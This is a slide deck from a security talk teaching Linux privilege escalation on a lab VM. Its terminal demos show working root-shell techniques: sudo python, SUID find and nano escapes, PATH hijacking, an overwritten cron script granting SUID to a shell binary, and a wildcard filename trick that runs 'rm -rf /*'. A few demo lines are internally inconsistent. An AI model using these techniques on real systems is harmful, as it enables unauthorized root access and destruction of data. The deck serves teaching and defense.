

# Check Your Privilege (Escalation)

KATE BROUSSARD, SENIOR SECURITY ANALYST AT BISHOP FOX

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# Introduction

ROADMAP FOR THE NEXT HOUR

## Kate Broussard

*Senior Security Analyst*

kbroussard@bishopfox.com

@grazhacks on Twitter


## Outline

- Priv esc definition + framing
- Easy mode
- Sneaky mode
- Boss mode
- Summary
- Resources



# PRIVILEGE ESCALATION

AND SO WE BEGIN



# Privilege Escalation

## DEFINITION AND FRAMING

### Definition

- Using privileges of various agents to gain access to resources

### When does it come into play?

### Framing


- Who's doing the execution?
- What are their privileges?

Two ways to escalate:

1. **You're the agent** – your current user permissions are sufficient to execute the command & do the thing
2. **Something else is the agent** – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing

# EASY MODE

SO YOU'RE IN THE SERVER - NOW WHAT?



# Before anything else

## CHECK YOUR PRIVILEGE

- Who are you?

`whoami`

`id`

- Where are you?

`pwd`

- Are you really really lucky?

`cat /etc/shadow` vs. `cat /etc/passwd`

`cd /root`

```
osboxes@osboxes:~$ whoami
osboxes
osboxes@osboxes:~$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),24(cdrom),27(sudo),30(d
ip),46(plugdev),108(lpadmin),118(sambashare),400(testgrp)
osboxes@osboxes:~$ pwd
/home/osboxes
osboxes@osboxes:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
osboxes@osboxes:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologi
n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
ntp:x:105:110::/home/ntp:/bin/false
whoopsie:x:106:114::/nonexistent:/bin/false
lightdm:x:107:115:Light Display Manager:/var/lib/lightdm:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash
level2:x:1001:1001,,,:/home/level2:/bin/bash
level3:x:1002:1002,,,:/home/level3:/bin/bash
level4:x:1003:1003,,,:/home/level4:/bin/bash
mysql:x:108:119:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
osboxes@osboxes:~$ cd /root
bash: cd: /root: Permission denied
```



# Permissions

## CHECK YOUR PRIVILEGE

- Where do you have read access?

/home/

/usr/share/

ENV

- Where do you have write access?

/home/USER/.ssh

/root/

/etc/crontab

```
osboxes@osboxes:~$ ls -al /home
total 24
drwxr-xr-x  6 root  root  4096 Jan  7 21:39 .
drwxr-xr-x 23 root  root  4096 Sep 12  2015 ..
drwxr-xr-x  2 level2 level2 4096 Feb 12 20:52 level2
drwxrwxrwx  2 level3 level3 4096 Feb 17 22:19 level3
drwxr-xr-x 14 level4 level4 4096 Feb 17 22:12 level4
drwxr-xr-x 17 osboxes osboxes 4096 Feb 18 20:27 osboxes
osboxes@osboxes:~$ ls -ald /root
drwx----- 2 root root 4096 Feb 17 22:00 /root
osboxes@osboxes:~$ ls -al /etc/crontab
-rw-r--r-- 1 root root 722 Feb 15 17:49 /etc/crontab
osboxes@osboxes:~$ env
XDG_VTNR=7
XDG_SESSION_ID=c2
CLUTTER_IM_MODULE=xim
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/osboxes
SELINUX_INIT=YES
SAL_USE_VCLPLUGIN=gtk
SESSION=Lubuntu
GPG_AGENT_INFO=/run/user/1000/keyring-kb4bnd/gpg:0:1
TERM=xterm
SHELL=/bin/bash
XDG_MENU_PREFIX=lxde-
WINDOWID=16777252
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1338
GNOME_KEYRING_CONTROL=/run/user/1000/keyring-kb4bnd
XTERM_SHELL=/bin/bash
USER=osboxes
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd
=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=0
1;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.
tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz
=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d
eb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31
:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=0
1;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.x
bm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;
35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mk
v=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;3
```




# sudo

MAKE ME A SANDWICH

**sudo = super user do [something]**

sudo -l

- What commands can you execute?
- Do you need a password?



<https://xkcd.com/838/> - Incident

# sudo

MAKE ME A SANDWICH

**sudo = super user do [something]**

sudo -l

- What commands can you execute?
- Do you need a password?

cat /etc/sudoers

- if readable, tells you which users/groups to target

cat /etc/group

- lists users, IDs, group affiliations

```
osboxes@osboxes:~$ sudo -l
[sudo] password for osboxes:
Matching Defaults entries for osboxes on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
n

User osboxes may run the following commands on osboxes:
    (ALL) ALL
osboxes@osboxes:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
osboxes@osboxes:~$ sudo !!
sudo cat /etc/sudoers
# /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the man page for details on how to write a sudoers file.
#

Defaults    env_reset,mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin
\:/usr/sbin\:/usr/bin\:/sbin\:/bin

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL) ALL
osboxes ALL=(ALL) ALL
level4  ALL=(ALL) NOPASSWD: /usr/bin/python, /bin/cat
osboxes@osboxes:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
```



# sudo Exploit - Python

SUDO MAKE ME A SANDWICH

## sudo -l

- User has sudo permissions for python
  - Without needing the password – excellent!
- Therefore can run python under root permissions

## sudo python -c 'import pty;pty.spawn("/bin/bash");'

- New shell spawned by python also runs under root permissions

```
osboxes@osboxes:~$ sudo -l
Matching Defaults entries for osboxes on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
n

User osboxes may run the following commands on osboxes:
    (ALL) NOPASSWD: /usr/bin/python
osboxes@osboxes:~$ python -c 'import pty;pty.spawn("/bin/bash");'
bash-4.3$ whoami
osboxes
bash-4.3$ exit
exit
osboxes@osboxes:~$ python -c 'import pty;pty.spawn("/bin/sh");'
# whoami
root
# █
```




# Credential Reuse

WE ARE CREATURES OF HABIT

Password reuse is RAMPANT

- web application passwords
- common/default passwords
- [nmap](#) port scan or [ps auf](#) to see what's up
- known compromised passwords for specific users

<https://xkcd.com/792/> - Password Reuse



# .bash\_history

LEAKED INFORMATION

- Any passwords entered into history?
- Any interesting files or directories?

## cat .bash\_history vs history

- `.bash_history` won't dump current session data until session ends
- `history` is a live dump of session

```
level2@osboxes:/home/osboxes$ cat ~/.bash_history
cat ~/.bash_history
history
cd /tmp
ls -l
cd /var/
ls -l
ls -al /var/tmp
cd ~
ls
ls -al
echo "password: P@ssw0rd with a zero" > .secrets.txt
ls -al
cat .secrets.txt
exit
ls -al /bin/less
which less
chmod u-s /bin/less
exit
ls -al /home/level3
sudo -l
exit
level2@osboxes:/home/osboxes$ history
 1 cat ~/.bash_history
 2 history
 3 cd /tmp
 4 ls -l
 5 cd /var/
 6 ls -l
 7 ls -al /var/tmp
 8 cd ~
 9 ls
10 ls -al
11 echo "password: P@ssw0rd with a zero" > .secrets.txt
12 ls -al
13 cat .secrets.txt
14 exit
15 ls -al /bin/less
```



# /var/log

## LEAKED INFORMATION

- Are any credentials stored in logs?
- Any other useful information?

Log files/dirs that are writeable can be replaced by symlink.

When owning process tries to write to log, will write to symlink instead.

Can be a way to output data somewhere that you can read it.

```
osboxes@osboxes:~$ ls -al /var/log
total 3692
drwxrwxr-x 13 root  syslog  4096 Feb 18 20:39 .
drwxr-xr-x 13 root  root    4096 Aug  5  2015 ..
-rw-r--r--  1 root  root    26405 Feb 17 21:50 alternatives.log
drwxr-xr-x  2 root  root    4096 Sep 12  2015 apt
-rw-r----- 1 syslog adm     3809 Feb 18 20:54 auth.log
-rw-r----- 1 syslog adm    171889 Feb 18 20:39 auth.log.1
-rw-r--r--  1 root  root    3829 Feb 18 20:27 boot.log
-rw-r--r--  1 root  root   61499 Aug  5  2015 bootstrap.log
-rw-rw----  1 root  utmp    3072 Feb 14 02:53 btmp
drwxr-xr-x  2 root  root    4096 Feb  8 02:11 ConsoleKit
drwxr-xr-x  2 root  root    4096 Feb 18 20:39 cups
drwxr-xr-x  2 root  root    4096 Feb  4  2015 dist-upgrade
-rw-r----- 1 root  adm    34495 Feb 18 20:27 dmesg
-rw-r----- 1 root  adm    32857 Feb 17 21:48 dmesg.0
-rw-r----- 1 root  adm   10693 Feb 15 16:25 dmesg.1.gz
-rw-r----- 1 root  adm   11076 Feb 14 01:38 dmesg.2.gz
-rw-r----- 1 root  adm   10775 Feb 13 19:33 dmesg.3.gz
-rw-r----- 1 root  adm   10597 Feb  8 01:58 dmesg.4.gz
-rw-r--r--  1 root  root   937600 Feb 17 21:50 dpkg.log
-rw-r--r--  1 root  root    32128 Feb 17 21:50 faillog
-rw-r--r--  1 root  root     2045 Aug  5  2015 fontconfig.log
drwxr-xr-x  2 root  root    4096 Aug  5  2015 fsck
-rw-r--r--  1 root  root    1384 Feb 18 20:27 gpu-manager.log
drwxrwxr-x  2 root  root    4096 Sep 12  2015 installer
-rw-r----- 1 syslog adm         0 Feb 18 20:39 kern.log
-rw-r----- 1 syslog adm   1284491 Feb 18 20:39 kern.log.1
-rw-rw-r--  1 root  utmp   293168 Feb 17 21:50 lastlog
drwxr-xr-x  2 root  root    4096 Feb 18 20:27 lightdm
drwxr-s---  2 mysql adm     4096 Feb 18 20:39 mysql
-rw-r----- 1 mysql adm         0 Feb 13 19:43 mysql.err
-rw-r----- 1 mysql adm         0 Feb 18 20:39 mysql.log
-rw-r----- 1 mysql adm      20 Feb 15 16:40 mysql.log.1.gz
-rw-r----- 1 mysql adm      20 Feb 13 19:43 mysql.log.2.gz
drwxr-xr-x  2 ntp  ntp     4096 Apr 13  2015 ntpstats
-rw-r--r--  1 root  root   21757 Feb 18 20:28 pm-powersave.log
-rw-r----- 1 syslog adm      272 Feb 18 20:39 syslog
-rw-r----- 1 syslog adm   146020 Feb 18 20:39 syslog.1
-rw-r----- 1 syslog adm   360662 Feb 15 16:40 syslog.2.gz
```



# Easy Mode

## RECAP

1. **Who/where are you**
2. **What can you see/modify with current permissions?**
3. **Look for:**
  1. `sudo` permissions
  2. Credential Reuse
  3. Leaked info from:
    1. `cat .bash_history`
    2. `/var/log` files

Two ways to escalate:

1. **You're the agent** – your current user permissions are sufficient to execute the command & do the thing
2. **Something else is the agent** – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing



# SNEAKY MODE

FIND AND EXPLOIT SOME MISCONFIGURATIONS



# SUID/SGID bits

## CHECK THEIR PRIVILEGE

- What is the SUID/SGID bit?
- How to find a SUID/SGID binary?

- What runs as the root user?

```
find / -perm -u=s [-type f] 2>/dev/null
```

```
find / -perm -4000 [-type f] 2>/dev/null
```

- What runs in the root group?

```
find / -perm -g=s [-type f] 2>/dev/null
```

```
find / -perm -2000 [-type f] 2>/dev/null
```

```
osboxes@osboxes:~$ find / -perm -2000 -type f 2>/dev/null
/sbin/unix_chkpwd
/usr/sbin/uidd
/usr/bin/crontab
/usr/bin/mlocate
/usr/bin/dotlockfile
/usr/bin/ssh-agent
/usr/bin/wall
/usr/bin/bsd-write
/usr/bin/mail-unlock
/usr/bin/mail-lock
/usr/bin/X
/usr/bin/expiry
/usr/bin/chage
/usr/bin/mail-touchlock
/usr/lib/libvte-2.90-9/gnome-pty-helper
/usr/lib/libvte9/gnome-pty-helper
/usr/lib/utempter/utempter
osboxes@osboxes:~$ find / -perm -4000 -type f 2>/dev/null
/usr/sbin/uidd
/usr/sbin/pppd
/usr/bin/find
/usr/bin/traceroute6.iputils
/usr/bin/lppasswd
/usr/bin/sudo
/usr/bin/python2.7
/usr/bin/chfn
/usr/bin/vim.tiny
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/X
/usr/bin/mysql
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
```



# SUID/SGID bits

## CHECK THEIR PRIVILEGE

- What are “normal” SUID programs vs ones that are exploitable?

Standard Linux utility?

Try shell escape or  
command option argument

Custom script to make an admin’s life easy?

Try `PATH = .`  
especially if the script makes a call to an alias

Also watch for wildcards

```
osboxes@osboxes:~$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/uidd
/usr/sbin/pppd
/usr/bin/find
/usr/bin/traceroute6.iputils
/usr/bin/lppasswd
/usr/bin/sudo
/usr/bin/python2.7
/usr/bin/chfn
/usr/bin/vim.tiny
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/X
/usr/bin/mysql
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/bin/nano
/bin/su
/bin/mount
/bin/ping
/bin/less
/bin/umount
/bin/ping6
/bin/fusermount
/bin/more
osboxes@osboxes:~$ find / -perm -g=s -type f 2>/dev/null
/sbin/unix_chkpwd
/usr/sbin/uidd
/usr/bin/crontab
/usr/bin/mlocate
/usr/bin/dotlockfile
/usr/bin/ssh-agent
/usr/bin/wall
/usr/bin/bsd-write
```



# Shell escapes

INTENTIONAL OPTION TO EXECUTE COMMANDS

Binary	Shell escape
less	!cmd
more	!cmd :!cmd
vi	:! cmd
mysql	system cmd \! cmd
AND MANY MORE	



[https://www.mariowiki.com/File:Koopa\\_Troopa\\_Artwork\\_-\\_Super\\_Mario\\_3D\\_World.png](https://www.mariowiki.com/File:Koopa_Troopa_Artwork_-_Super_Mario_3D_World.png)

# Cmd option arguments

INTENTIONAL OPTION TO EXECUTE COMMANDS

Binary	Option
find	<code>-exec CMD \;</code>
awk	<code>{system("CMD")}'</code>
AND MANY MORE	

```
osboxes@osboxes:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-rwsr-sr-x 1 libuuid libuuid 18904 Aug  5  2015 /usr/sbin/uuid
-rwsr-xr-- 1 root dip 347296 Apr 21  2015 /usr/sbin/pppd
-rwsr-xr-x 1 root root 229992 Jan  6  2014 /usr/bin/find
-rwsr-xr-x 1 root root 23104 May  7  2014 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root lpadmin 14336 Jun  4  2015 /usr/bin/lppasswd
-rwsr-xr-x 1 root root 155008 Mar 12  2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 3345416 Jun 22  2015 /usr/bin/python2.7
-rwsr-xr-x 1 root root 46424 Jul 15  2015 /usr/bin/chfn
-rwsr-xr-x 1 root advgrp 884360 Jan  2  2014 /usr/bin/vim.tiny
-rwsr-xr-x 1 root root 75256 Oct 21  2013 /usr/bin/mtr
-rwsr-xr-x 1 root root 41336 Jul 15  2015 /usr/bin/chsh
-rwsr-xr-x 1 root root 32464 Jul 15  2015 /usr/bin/newgrp
-rwsr-xr-x 1 root root 23304 Mar  4  2015 /usr/bin/pkexec
-rwsr-xr-x 1 root root 68152 Jul 15  2015 /usr/bin/gpasswd
-rwsr-sr-x 1 root root 10192 Jun 22  2015 /usr/bin/X
-rwsr-xr-x 1 root root 3474400 Oct 23 15:35 /usr/bin/mysql
-rwsr-xr-x 1 root root 47032 Jul 15  2015 /usr/bin/passwd
-rwsr-xr-- 1 root messagebus 310800 Nov 25  2014 /usr/lib/dbus-1.0/dbus-daemon-1
aunch-helper
-rwsr-xr-x 1 root root 440416 Jan 31 17:02 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10344 Feb 25  2015 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 14768 Mar  4  2015 /usr/lib/policykit-1/polkit-agent-help
er-1
-rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 192008 Oct  1  2012 /bin/nano
-rwsr-xr-x 1 root root 36936 Jul 15  2015 /bin/su
-rwsr-xr-x 1 root root 94792 Aug  5  2015 /bin/mount
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 153664 Jun 10  2013 /bin/less
-rwsr-xr-x 1 root root 69120 Aug  5  2015 /bin/umount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 30800 May 15  2015 /bin/fusermount
-rwsr-xr-x 1 root root 39600 Aug  5  2015 /bin/more
osboxes@osboxes:~$ find / -exec /bin/sh \;
# whoami
root
# id
uid=1000(osboxes) gid=1000(osboxes) euid=0(root) groups=0(root),24(cdrom),27(sud
o),30(dip),46(plugdev),108(lpadmin),118(sambashare),400(testgrp),1000(osboxes)
#
```



# SUID Exploit

TRICKING AN EXECUTABLE INTO SPAWNING A SHELL

Nano is another common executable

If nano has a SUID bit set to root, can force an escape to root shell

Exploit:

1. create a temporary file with shell cmd
2. open nano with temp file set as spell-check reference
3. run spell-check to execute cmd under root permissions

```
osboxes@osboxes:~$ which nano
/usr/bin/nano
osboxes@osboxes:~$ ls -al /usr/bin/nano
lrwxrwxrwx 1 root root 9 Sep 12  2015 /usr/bin/nano -> /bin/nano
osboxes@osboxes:~$ ls -al /bin/nano
-rwsr-xr-x 1 root root 192008 Oct  1  2012 /bin/nano
osboxes@osboxes:~$ TF=$(mktemp)
osboxes@osboxes:~$ echo 'exec sh' > $TF
osboxes@osboxes:~$ chmod +x $TF
osboxes@osboxes:~$ nano -s $TF /etc/hosts
# id
uid=1000(osboxes) gid=1000(osboxes) euid=0(root) groups=0(root),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),118(sambashare),400(testgrp),1000(osboxes)
# whoami
root
# █
```



# Path = .

START LOOKING HERE

Path is an environment variable telling the OS where to look for an aliased binary

Instead of typing `/bin/ls` every time, you can just type `ls`

## Use case: Prank the Admin

- Bill knows that his supervisor Sue has her `PATH = .`
- Writes a script to prank her, names it `ls`, sticks it in his `/home/BILL/` directory
- Asks Sue why `ls` isn't working in his `~`
- Sue runs `ls` in `/home/BILL/` and executes the prank script instead of `/bin/ls` binary

# Path = .

START LOOKING HERE

Not easy during assessment to know which users have PATH = .

HOWEVER!

Custom script on the web server might execute call to aliased program

calling `cat $FILE` instead of `/bin/cat $FILE`

If it runs under root privs, you can exploit it

## Use case: helperSH Exploit

- helperSH is a custom script on the web server that makes life easy for an admin; SUID as root
- Command within the script executes something recognizable (like `ps`)
- In writeable dir, make new file `echo "/bin/sh" > ps`
- Set own PATH = .
- Execute script from writeable dir

# Path = .

START LOOKING HERE

```
osboxes@osboxes:~$ ls -al /usr/share/helperSH
-rwsr-xr-x 1 root root 8564 Feb 18 21:30 /usr/share/helperSH
osboxes@osboxes:~$ /usr/share/helperSH
  PID TTY          TIME CMD
 2947 pts/0        00:00:00 helperSH
 2948 pts/0        00:00:00 sh
 2949 pts/0        00:00:00 ps
osboxes@osboxes:~$ ps
  PID TTY          TIME CMD
 2817 pts/0        00:00:00 bash
 2950 pts/0        00:00:00 ps
osboxes@osboxes:~$ cd /tmp
osboxes@osboxes:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
osboxes@osboxes:/tmp$ PATH=.,${PATH}
osboxes@osboxes:/tmp$ echo $PATH
./:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
osboxes@osboxes:/tmp$ echo "/bin/sh" > ps
osboxes@osboxes:/tmp$ chmod +x ps
osboxes@osboxes:/tmp$ ps
$ whoami
osboxes
$ exit
osboxes@osboxes:/tmp$ /usr/share/helperSH
# whoami
root
#
```

## Use case: helperSH Exploit

- helperSH is a custom script on the web server that makes life easy for an admin; SUID as root
- Command within the script executes something recognizable (like `ps`)
- In writeable dir, make new file `echo "/bin/sh" > ps`
- Set own `PATH = .`
- Execute script from writeable dir

# Wildcards

## COMMAND OPTION ARGUMENTS AS FILENAMES

When using \* wildcard, Unix shell interprets -FILENAME as command option argument

Meaning you can submit command options through file name when running a wildcard process

Keep an eye out for wildcards in custom scripts, cron jobs, executables

## chown example

files in a given dir include:  
    .FileRef.php  
    --reference=.FileRef.php

when root executes the following:

```
chown -R nobody:nobody *.php
```

becomes:

```
chown -R nobody:nobody --reference=.FileRef.php
```

User:group permissions of .FileRef.php are mapped onto every file in the directory

# Wildcards

## COMMAND OPTION ARGUMENTS AS FILENAMES

When using \* wildcard, Unix shell interprets -FILENAME as command option argument

Meaning you can submit command options through file name when running a wildcard process

Keep an eye out for wildcards in custom scripts, cron jobs, executables

**NOTE –**  
EXPLOIT BELOW DELETES THE FILESYSTEM

```
cd /tmp  
echo "blah" > "-rf /*"  
rm *
```

When `rm *` gets to `-rf /*` file, command becomes `rm -rf /*`

Which recursively deletes everything on the filesystem, starting at /

# Sneaky Mode

RECAP

## SUID/SGID bits

1. Shell escapes
2. Cmd option arguments
3. PATH = .

## Wildcards


Two ways to escalate:

1. **You're the agent** – your current user permissions are sufficient to execute the command & do the thing

2. **Something else is the agent** – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing

# BOSS MODE

THESE WILL TAKE SOME TIME TO GET RIGHT



# cron

## PRIVILEGE IS A CRONIC PROBLEM

Cron jobs are cmds executed on a schedule

Almost always run under root permissions

- [/etc/cron.allow](#) & [/etc/cron.deny](#) specify user privs

Cron takes a file; file tells it what to execute and when

- [/etc/crontab](#)

Related: at, batch (one-time execution)

- How to exploit?

1. Overwrite [/etc/crontab](#)
2. Write to a cron dir (priv misconfig)
3. If the what is vulnerable, might be able to modify or hit something downstream
4. Cron jobs may also have exploitable wildcards



# cron

## PRIVILEGE IS A CRONIC PROBLEM

```
osboxes@osboxes:~$ ls -al /etc/crontab
-rw-r--r-- 1 root root 722 Feb 15 17:49 /etc/crontab
osboxes@osboxes:~$ nano /etc/crontab
osboxes@osboxes:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
t /etc/cron.daily )
47 6 * * 7 * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
t /etc/cron.weekly )
52 6 1 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
t /etc/cron.monthly )
#
osboxes@osboxes:~$ ls -al /bin/nano
-rwsr-xr-x 1 root root 192008 Oct  1  2012 /bin/nano
osboxes@osboxes:~$ █
```

- How to exploit?

1. **Overwrite /etc/crontab** (SUID on nano!)
2. Write to a cron dir (priv misconfig)
3. If the what is vulnerable, might be able to modify or hit something downstream
4. Cron jobs may also have exploitable wildcards

# cron

## PRIVILEGE IS A CRONIC PROBLEM

```
osboxes@osboxes:~$ ls -al /etc | grep cron
-rw-r--r--  1 root root    401 Feb 20  2014 anacrontab
drwxr-xr-x  2 root root   4096 Feb 15 20:16 cron,d
drwxr-xr-x  2 root root   4096 Aug  5  2015 cron,daily
drwxrwxr-x  2 root testgrp 4096 Feb 15 18:01 cron,hourly
drwxr-xr-x  2 root root   4096 Aug  5  2015 cron,monthly
-rw-r--r--  1 root root    722 Feb 15 17:49 crontab
drwxr-xr-x  2 root root   4096 Aug  5  2015 cron,weekly
osboxes@osboxes:~$ ls -al /etc/cron.hourly
total 20
drwxrwxr-x  2 root testgrp 4096 Feb 15 18:01 .
drwxr-xr-x 121 root root   12288 Feb 18 20:51 ..
-rw-r--r--  1 root root    102 Feb  9  2013 .placeholder
osboxes@osboxes:~$ touch /etc/cron.hourly/testFile
osboxes@osboxes:~$ ls -al /etc/cron.hourly
total 20
drwxrwxr-x  2 root  testgrp 4096 Feb 18 21:50 .
drwxr-xr-x 121 root  root   12288 Feb 18 20:51 ..
-rw-r--r--  1 root  root    102 Feb  9  2013 .placeholder
-rw-rw-r--  1 osboxes osboxes  0 Feb 18 21:50 testFile
osboxes@osboxes:~$ █
```

- How to exploit?

1. Overwrite /etc/crontab
2. **Write to a cron dir (priv misconfig)**
3. If the what is vulnerable, might be able to modify or hit something downstream
4. Cron jobs may also have exploitable wildcards

```

osboxes@osboxes:/tmp$ ls -al /etc/cron.d
total 32
drwxr-xr-x  2 root root  4096 Feb 15 20:16 .
drwxr-xr-x 121 root root 12288 Feb 18 20:51 ..
-rw-r--r--  1 root root   188 Feb 20  2014 anacron
-rw-r--r--  1 root root   349 Feb 15 18:52 cleanTrash
-rw-r--r--  1 root root   194 Feb 15 20:17 lvl4helper
-rw-r--r--  1 root root   102 Feb  9  2013 .placeholder
osboxes@osboxes:/tmp$ cat /etc/cron.d/cleanTrash
# /etc/cron.d/cleanTrash: crontab entries for cleanTrash

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

30 * * * * root /usr/sbin/cleanTrash-osboxes
31 * * * * root /usr/sbin/cleanTrash-level2
32 * * * * root /usr/sbin/cleanTrash-level3
33 * * * * root /usr/sbin/cleanTrash-level4

osboxes@osboxes:/tmp$ ls -al /usr/sbin | grep cleanTrash
-rwxr-xr-x  1 root root    240 Feb 18 21:56 cleanTrash-level2
-rwxrwxrwx  1 root root    240 Feb 18 21:55 cleanTrash-level3
-rwxr-xr-x  1 root root    241 Feb 18 21:56 cleanTrash-level4
-rwxr-xr-x  1 root root    235 Feb 15 18:56 cleanTrash-osboxes
osboxes@osboxes:/tmp$ nano /tmp/getroot.c
osboxes@osboxes:/tmp$ cat /tmp/getroot.c
int main(void)
{
    system("/bin/sh");
    return 0;
}
osboxes@osboxes:/tmp$ gcc getroot.c -o getroot
osboxes@osboxes:/tmp$ echo "chown root:root /tmp/getroot; chmod u+s /tmp/getroot" > /usr/sbin/cleanTrash-level3
osboxes@osboxes:/tmp$ ls -al getroot
-rwxrwxr-x 1 osboxes osboxes 8563 Feb 18 22:05 getroot
osboxes@osboxes:/tmp$ ls -al getroot
-rwsrwxr-x 1 root root 8563 Feb 18 22:05 getroot
osboxes@osboxes:/tmp$ getroot
# whoami
root
# █

```

- How to exploit?

1. Overwrite /etc/crontab
2. Write to a cron dir (priv misconfig)
3. **If the what is vulnerable, might be able to modify or hit something downstream**
4. Cron jobs may also have exploitable wildcards

# Kernel Exploits

HOPE YOU LIKE DEBUGGING IN C

Magic bullet: what if we just compromise the server OS itself??!

Downside: there might be exploits that you need to grab & compile & debug

NOTE: not-small risk of bricking the server

```
osboxes@osboxes:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:   Ubuntu 14.04.3 LTS
Release:      14.04
Codename:     trusty
osboxes@osboxes:~$ uname -a
Linux osboxes 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
osboxes@osboxes:~$
```

